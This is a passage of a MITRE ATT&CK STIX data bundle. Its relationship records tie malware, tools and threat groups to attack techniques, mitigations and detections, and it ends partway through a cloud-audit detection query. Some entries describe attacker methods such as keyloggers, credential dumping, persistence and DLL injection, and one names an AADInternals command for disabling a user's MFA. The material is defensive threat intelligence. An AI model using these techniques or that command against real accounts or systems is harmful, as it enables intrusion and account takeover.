2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5c70727-794c-4404-b30d-0d798a62ad64","type":"relationship","created":"2019-06-21T15:13:50.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T15:08:49.262Z","description":"Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.581Z","description":"[RTM](https://attack.mitre.org/software/S0148) strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. [RTM](https://attack.mitre.org/software/S0148) has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5d39691-0e75-4921-8822-a84566d757a0","created":"2024-08-26T18:22:58.534Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:22:58.534Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) registered domains to develop effective personas for fake companies used in phishing activity.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5d7b6eb-e4c3-4143-ae0d-41ebdeb2061f","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:23:18.394Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5d91a04-cdc9-404b-9c8f-7e91a266185d","created":"2022-06-15T15:12:32.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:36:51.942Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used a VisualBasic script named `MicrosoftUpdator.vbs` for execution of a PowerShell keylogger.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5dff5a5-ccd5-4cc4-afcf-ec2b9d6556e1","created":"2024-08-14T22:13:48.844Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:13:48.844Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) was deployed by [CURIUM](https://attack.mitre.org/groups/G1012) as a post-exploitation payload from strategic website compromise.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5e008e5-28ff-4f0a-8e09-ab637c733646","created":"2022-08-31T14:00:48.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T21:31:15.976Z","description":"The [AADInternals](https://attack.mitre.org/software/S0677) `Set-AADIntUserMFA` command can be used to disable MFA for a specified user.","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5e027a9-7c0e-42f1-bf51-5432980dbf77","created":"2022-10-13T16:56:46.908Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:56:46.908Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has collected information and files from a compromised machine.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5e474fe-11a9-419b-bf16-734189c8da5d","type":"relationship","created":"2020-10-20T03:35:58.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:48:37.791Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d5e5a57a-e8cd-43c8-bc69-fa8bd40d82c0","created":"2022-07-15T21:22:32.135Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has registered a variety of domains to host malicious payloads and for C2.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-07-15T21:22:32.135Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5e9478c-439e-4ec5-8317-6d769dedc68a","type":"relationship","created":"2020-07-27T15:48:13.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T15:48:13.246Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can use the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Registry key for persistence.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d5ebb264-c9ae-44bb-b6d0-5bf490cb2f76","created":"2022-06-09T18:31:13.774Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has used HTTP for C2 communications.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:31:13.774Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5ecfa68-2027-4dd5-adf0-1eb82463cfc5","type":"relationship","created":"2020-05-21T21:31:34.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.148Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used the NetUserEnum function to enumerate local accounts.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5ede6b1-984f-4e43-8d55-92d1efc5e8b6","created":"2023-06-20T17:36:18.463Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-20T17:36:18.463Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use DLL injection to load embedded files and modules.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5edf7fa-6d2b-4af8-a1d3-e0f9fe56eb00","type":"relationship","created":"2019-03-11T15:04:51.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.127Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5f0ff09-374d-45f6-b7d8-45466bf0ecf0","type":"relationship","created":"2020-11-30T16:01:32.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-30T16:01:32.397Z","description":"[Bazar](https://attack.mitre.org/software/S0534) downloads have been hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5f2b0fc-c865-419d-aacd-8004ecba00df","type":"relationship","created":"2020-07-15T20:23:36.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Carberp March 2012","url":"https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf","description":"Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You’re in a Black Hole, Stop Digging. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:14:18.118Z","description":"[Carberp](https://attack.mitre.org/software/S0484)'s bootkit can inject a malicious DLL into the address space of running processes.(Citation: ESET Carberp March 2012)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5f428f5-4c16-495e-bc79-882a92ce75e0","created":"2023-08-02T18:21:42.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:40:32.410Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has stolen files from a sensitive file server and the Active Directory database from targeted environments, and used [Wevtutil](https://attack.mitre.org/software/S0645) to extract event log information.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5f7cffa-1bc6-4c0c-bbd0-4a273fb90821","created":"2024-09-25T13:37:38.835Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:37:38.835Z","description":"Monitor for common cryptomining files on local systems that may indicate compromise and resource usage.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5f85a11-2c62-4e16-afd5-e093cd35d5f0","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5fc744e-c8a0-454a-9832-71dede3897ba","type":"relationship","created":"2020-01-28T14:05:17.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T18:12:36.856Z","description":"Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5ffcd6e-be9e-4efe-9822-974f3838c7db","type":"relationship","created":"2019-11-27T14:58:00.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-11-27T14:58:00.700Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6021195-ac74-472e-99ef-ba75d42ce7bf","created":"2024-08-20T20:24:29.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:26:41.696Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can use osascript to generate a password-stealing prompt, duplicate files and folders, and set environmental variables.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6049a18-43d5-4761-ad56-a60e2a7998cf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.242Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can obtain data from local systems.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d607d79e-a3f0-4236-946c-e434068d008b","type":"relationship","created":"2020-02-11T19:14:48.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:14:48.422Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d608c524-ad0a-4595-8fe2-4a0ec0dbf501","type":"relationship","created":"2019-09-03T18:50:16.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2019-11-02T16:31:45.027Z","description":"(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d60b01af-501d-42c1-93f1-b63bb2b657d9","created":"2024-04-11T21:52:15.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:16:22.571Z","description":"Monitor for changes made to conditional access policies used by SaaS identity providers and internal IaaS identity and access management systems.\n\nAnalytic 1 - Changes to access policies without corresponding change requests.\n\nindex=cloud_logs sourcetype IN (\"azure:activity\", \"gsuite:reports:activity\", \"aws:cloudtrail\", \"office365:management\", \"saas_audit\")\n(eventName IN (\"UpdateServicePrincipal\", \"UpdateUser\", \"UpdateGroup\", \"UpdatePolicy\", \"UpdateRole\", \"PutRolePolicy\", \"AttachUserPolicy\", \"AttachGroupPolicy\", \"AttachRolePolicy\", \"ModifyAuthenticationMethod\") OR\n protoPayload.methodName IN (\"directory.users.update\", \"admin.directory.group.update\", \"admin.directory.roleAssignments.update\", \"Set-AzureADApplicationProxyConnector\", \"Update-PassThroughAuthentication\") OR\n (eventName=\"Sign-in\" AND targetResourceType=\"applicationProxyConnector\")) 